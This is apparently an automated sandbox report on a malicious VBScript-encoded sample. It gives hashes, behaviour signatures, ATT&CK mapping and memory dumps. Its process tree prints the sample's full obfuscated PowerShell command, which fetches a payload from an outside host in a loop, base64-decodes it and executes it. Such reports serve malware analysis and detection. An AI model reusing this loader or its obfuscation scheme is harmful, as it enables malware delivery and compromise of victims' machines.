407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1

General

Target

407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1.vbe
Size

720KB
MD5

08916398d60045637fa6b2f5d5ef89e6
SHA1

2f1bd5cc4c5649fb7e034e48861de256b76ce06f
SHA256

407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1
SHA512

a036b6b80070a7f7928b7ed521572ff7b8401236c604c53aafe91d9862215e1df897ba84a380eb78da996d760b4a29f5642c60b68d0df45e418b8c726d6b8c58
SSDEEP

6144:TsyS5Hz0L9jTGquGSqCG2NPnbY/0M7xxMldTSsp3vraSEPW/snrOLNC51gdQl7VB:vCRT+WPxm3pfqiMwc/MVqAd+O

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 52 IoCs

Processes:

powershell.exe

flow	pid	process
5	2660	powershell.exe
6	2660	powershell.exe
7	2660	powershell.exe
8	2660	powershell.exe
9	2660	powershell.exe
10	2660	powershell.exe
11	2660	powershell.exe
12	2660	powershell.exe
13	2660	powershell.exe
14	2660	powershell.exe
15	2660	powershell.exe
16	2660	powershell.exe
17	2660	powershell.exe
18	2660	powershell.exe
19	2660	powershell.exe
20	2660	powershell.exe
21	2660	powershell.exe
22	2660	powershell.exe
23	2660	powershell.exe
24	2660	powershell.exe
25	2660	powershell.exe
26	2660	powershell.exe
27	2660	powershell.exe
28	2660	powershell.exe
29	2660	powershell.exe
30	2660	powershell.exe
31	2660	powershell.exe
32	2660	powershell.exe
33	2660	powershell.exe
34	2660	powershell.exe
35	2660	powershell.exe
36	2660	powershell.exe
37	2660	powershell.exe
38	2660	powershell.exe
39	2660	powershell.exe
40	2660	powershell.exe
41	2660	powershell.exe
42	2660	powershell.exe
43	2660	powershell.exe
44	2660	powershell.exe
45	2660	powershell.exe
46	2660	powershell.exe
47	2660	powershell.exe
48	2660	powershell.exe
49	2660	powershell.exe
50	2660	powershell.exe
51	2660	powershell.exe
52	2660	powershell.exe
53	2660	powershell.exe
54	2660	powershell.exe
55	2660	powershell.exe
56	2660	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2660 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2660 powershell.exe

pid	process
2660	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2760 wrote to memory of 2660	2760	WScript.exe	powershell.exe
PID 2760 wrote to memory of 2660	2760	WScript.exe	powershell.exe
PID 2760 wrote to memory of 2660	2760	WScript.exe	powershell.exe
PID 2660 wrote to memory of 2752	2660	powershell.exe	cmd.exe
PID 2660 wrote to memory of 2752	2660	powershell.exe	cmd.exe
PID 2660 wrote to memory of 2752	2660	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\407cde8101a3f04d2e4c9c632c771a3f3fc5db48c14c0ad85f76e8ae50fea6c1.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Printermanualens = 1;$Kkkensalt='Sub';$Kkkensalt+='strin';$Kkkensalt+='g';Function Pastoraling($Delegationsrejsernes){$Buur=$Delegationsrejsernes.Length-$Printermanualens;For($Bilaciniate=2;$Bilaciniate -lt $Buur;$Bilaciniate+=3){$Mrkepen+=$Delegationsrejsernes.$Kkkensalt.Invoke( $Bilaciniate, $Printermanualens);}$Mrkepen;}function Coloplication($Acetoacetic){& ($Traditionalizes) ($Acetoacetic);}$Grdede=Pastoraling ' vM pofezPoi ulK.lKoa /Fo5,m.Pl0Ko ,(InWCoi GnP.dBroPrw.as.m DeN FTFi D,1 r0Pr.Un0.e; p MeWMeifjnba6Ac4Re;E Lrx.o6br4Tu;.u D.rOvv V:Bi1Co2Rb1N..S 0 L) . UnG,ne dc kkoroC./Un2F 0 U1,y0Un0Ca1 S0C 1 v MnFgei.drPreUtf ,oA,xas/el1 N2B.1 K.,t0sp ';$Soundstripe=Pastoraling ' uUKnsBaerorTy-HiA pgAde,enPrtK, ';$Supercharging=Pastoraling 'InhIst FtEpp s R:.u/am/.oaFulVaiStaMamCr. .iR rS,/ SP ,nureSps Ht .e,bs g.GalimzD,hCh ';$Thyiad81=Pastoraling ',u>De ';$Traditionalizes=Pastoraling 'PhiSke ex i ';$Tilkastningerne='Skrivearealers';$Brugerbehovet = Pastoraling '.fe Cc Lh .o P to%plaTep FpSid fa ,tZ,a.i% t\DeUTrnS.cUno.sm,wp.aiPrlAmeRad S.ApSUraIml.o Ko&B,&A Foe,ocsehDio u K,tId ';Coloplication (Pastoraling ' $Dag Ll.uoIbbFla ,lNy:,zR yeChwUdaMosTeh OeStdTe= f(Sec,omTodMi C./,ucG. S$KoBKurKlu .g.heAurBrbF,e ,hReosvvUneC,tEk)zy ');Coloplication (Pastoraling ' F$B.gSal.loCobSua cl ,:ApU AdsplSlyTadOrsDok CoAln ,sBao GnGaaAin ,twhe rC,sPo1Lo8De9fe=Se$ S eu.mphueR.rInchjh Fa DrB g miDen Ag J.A s.dpFolBoiVitS (A.$,aTPahKlyliiTra ldse8Be1 M) U ');$Supercharging=$Udlydskonsonanters189[0];$Apophlegm= (Pastoraling ' A$,agUnl osobInaL lEv:,oPArr.ieTjsKotc.iVigSue,ifTry ,l .dYmt.veF.2 ,0,e8Re=AnN,oe Sw,a-S,OFobRajRee.lc ,tDy BiSTry sFrtLeeJ,mch.UnNS eLitig.NoW eB,bSuC TlPhiphe ,n Gt');$Apophlegm+=$Rewashed[1];Coloplication ($Apophlegm);Coloplication (Pastoraling '.r$R,PTrrdieflsUntRdiVggTie f Dy AlPidTctBreD 2Pi0Un8 U.B HM.eMoa kdIne FrB s P[T $stSI.oSpuFynModbisSltSyr SiGapCyeSt] ,=La$FuGStr ,dI.e BdAfe.a ');$Forelbigt=Pastoraling 'Pe$ IP,lrree CsPrtUniIngObeOlfI yScl.hdF,tPae,r2 .0 G8gr.boD UoRiwHanTrlPro ,a ,d.rF LiShlKteMa( ,$HlSBauDipSmeFor ocArhUnaHorC,g.nielnTag N,O,$LuT,ei .lStlkraSkglse C)Ko ';$Tillage=$Rewashed[0];Coloplication (Pastoraling 'Pa$P,gKnlJaoK.bDaaAflPr:ByWunaFirChpSoaS.tSthV,s b=Mo(F.TPre KsP,tTe-,nP Ha t ,hRe .a$ GTFei SlPrlMyaBegH.ePh)Fi ');while (!$Warpaths) {Coloplication (Pastoraling 'Tr$regL,lS o .bLaaUnlRa:A LM aDar.fdBreMyrNyeGylThl,eiS.t heC =Kl$BotFkrEcuIleTu ') ;Coloplication $Forelbigt;Coloplication (Pastoraling 'S STot vaSurSetT,-WaSHolGue KeH.pSp De4Ge ');Coloplication (Pastoraling ' .$AbgUnlQuoa.b GaFllRe:maWOpa vrPipO.aBut .hAnsMa= r(,eT ,eHysHyt ,-tuPv.a htCyhba p$MeTMoiDil.flAla og Ce n) . ') ;Coloplication (Pastoraling 'La$ThgMylSkoR,bInaBylC :u UAfnEuwHehFui Sp otKy=Fo$R gD,lTro CbViaMal a:MaM.oeNydD i EnFrd DeSehAeaTov .e HrSteManT +pt+ u%,i$ CUO.d ,lDky Ad s tkSpoAunA,sJeo,tnDea.nn tttheO,rRosTe1He8sk9A .F,c loAbu Ln rt,o ') ;$Supercharging=$Udlydskonsonanters189[$Unwhipt];}$Umbilical=321149;$Fjerkrslagteris=27241;Coloplication (Pastoraling ' $L.g GlL oBab Ea.ulTy: PVel auFotKio Bl,raSttNor fyRh L=,g StG EeK.tKe-BrC aoFinf,tt,eSenSat a Ku$S TCai Fli,l oa MgO eTi ');Coloplication (Pastoraling 'no$Beg HlG.ovabSaaAelDe:KoDDeeOrt iaD,iH.l,rpLarKaoRij,ueI,k.atAseDar,ieUnn ndKleUts t Dy= D Fl[BuSpuy,osovtU.e Ampi.BoC.aoT.n .vRee.nrDate,]An: C:UnFkarCaokamN.B a s ,ePe6Pu4 USNot nrB iInnReg r(Op$CrPVil.fuIntTuoFrl,la t crKay,y)Gr ');Coloplication (Pastoraling ' A$Iog,alFoo SbKbaNol,n: FwNoi DnUdgTioHvvEkeH,rInsb M,= S j[ SSToyChs .t BeDimCa.S,T.lehex.ztRh.LaE nPucMioB,dUniTenhugRu]vg:Da:OvA .SDiC FINaI e. yG.ke StCaSu t.er tiR n,sgVi(g.$A,D DeDktgua FiTel,ip,pr so sj,ie SkSatT.e.er PeUnnPhdC,e Ss n)Sa ');Coloplication (Pastoraling ' P$U,g PlP oG.bMaagelph:.hUSnnPrlAeuDrsKrtS fDiuMelAalStya =Al$ Hw .i .nTig ooFivR,e .r rsMa.SnsG,u Hb eshit.lrRri,anSagPu(U,$,rU ,m.nb iiBalUdi Wc eaMul i, $ nF.jj TeCyr SkB.rH,s klPaaHogBrtKoeSarSti FsCo)Wa ');Coloplication $Unlustfully;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Uncompiled.Sal && echo t"
3⤵
PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2660-4-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmp

Filesize
4KB

Download
memory/2660-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2660-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2660-7-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-8-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-9-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-10-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-11-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-12-0x000007FEF5E4E000-0x000007FEF5E4F000-memory.dmp

Filesize
4KB

Download
memory/2660-13-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-14-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing